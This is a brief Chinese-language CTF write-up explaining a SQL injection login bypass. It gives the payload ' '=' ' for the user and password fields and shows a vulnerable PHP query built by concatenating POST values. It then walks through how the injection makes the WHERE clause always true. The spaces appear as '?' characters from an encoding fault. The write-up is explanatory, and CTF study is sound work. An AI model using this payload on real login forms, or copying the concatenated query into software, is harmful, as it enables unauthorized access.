這個(gè)CTF?題目的payload真的簡(jiǎn)單到淫蕩，看一下就是這樣的

admin->?‘=’

password->?‘=’

真是醉了，為什么呢，類(lèi)似這樣的語(yǔ)句

$sql?=?“select?user?from?flag?where?user=’\$_POST[‘user’]’?and?password=’\$_POST[‘password’]’”;

如果我們按照上面輸入就成了

$sql?=?“select?user?from?flag?where?user=’‘=’’?and?password=’‘=’‘”;

user=”返回的是NULL=”也是符合條件的，最后就是

$sql?=?“select?user?from?flag?where?1?and?1”;